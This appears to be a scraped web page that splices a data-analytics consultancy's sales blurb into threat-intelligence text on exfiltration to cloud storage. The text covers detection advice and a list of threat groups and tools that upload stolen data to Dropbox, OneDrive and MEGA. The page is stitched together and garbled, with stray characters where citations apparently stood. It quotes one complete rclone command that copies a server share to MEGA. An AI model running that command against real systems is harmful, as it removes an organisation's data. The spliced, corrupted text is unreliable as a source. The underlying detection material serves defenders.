![]() We find the signals in the noise of large data feeds. In past we did all the ugly backed stuff that makes analysis possible and innovators of predictive insights. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.We are a business-to business "Big Data" analytics consulting company. Monitor network data for uncommon data flows. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Monitor for newly constructed network connections to cloud services associated with abnormal or non-browser processes. Monitor for files being accessed to exfiltrate data to a cloud storage service rather than over their primary command and control channel. ![]() Monitor executed commands and arguments that may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Web proxies can be used to enforce an external network communication policy that prevents use of unauthorized external services. ZIRCONIUM has exfiltrated stolen data to Dropbox. Turla has also exfiltrated stolen files to OneDrive and 4shared. Turla has used WebDAV to upload stolen USB files to a cloud drive. Threat Group-3390 has exfiltrated stolen data to Dropbox. ROKRAT can send collected data to cloud storage services such as PCloud. Rclone can exfiltrate data to cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. RainyDay can use a file exfiltration tool to upload specific files to Dropbox. POLONIUM has exfiltrated stolen data to POLONIUM-owned OneDrive and Dropbox accounts. ĭuring Operation Dream Job, Lazarus Group used a custom build of open-source command-line dbxcli to exfiltrate stolen data to Dropbox. ![]() Octopus has exfiltrated data to file sharing sites. LuminousMoth has exfiltrated data to Google Drive. Leviathan has used an uploader known as LUNCHMONEY that can exfiltrate files to Dropbox. Kimsuky has exfiltrated stolen files and data to actor-controlled Blogspot accounts. HEXANE has used cloud services, including OneDrive, for data exfiltration. HAMMERTOSS exfiltrates data by uploading it to accounts created by the actors on Web cloud storage providers for the adversaries to retrieve later. HAFNIUM has exfiltrated data to file sharing sites, including MEGA. įIN7 has exfiltrated stolen data to the MEGA file sharing site. Įmpire can use Dropbox for data exfiltration. Įarth Lusca has used the megacmd tool to upload stolen files from a victim network to MEGA. Ĭrutch has exfiltrated stolen data to Dropbox. ![]() ĬreepyDrive can use cloud services including OneDrive for data exfiltration. Ĭonfucius has exfiltrated victim data to cloud storage service accounts. Ĭlambling can send files from a victim's machine to Dropbox. Ĭhimera has exfiltrated stolen data to OneDrive accounts. ĭuring C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command rclone.exe copy -max-age 2y "\\SERVER\Shares" Mega:DATA -q -ignore-existing -auto-confirm -multi-thread-streams 7 -transfers 7 -bwlimit 10M. īoxCaon has the capability to download folders' contents on the system and upload the results back to its Dropbox drive. BoomBox can upload data to dedicated per-victim folders in Dropbox.
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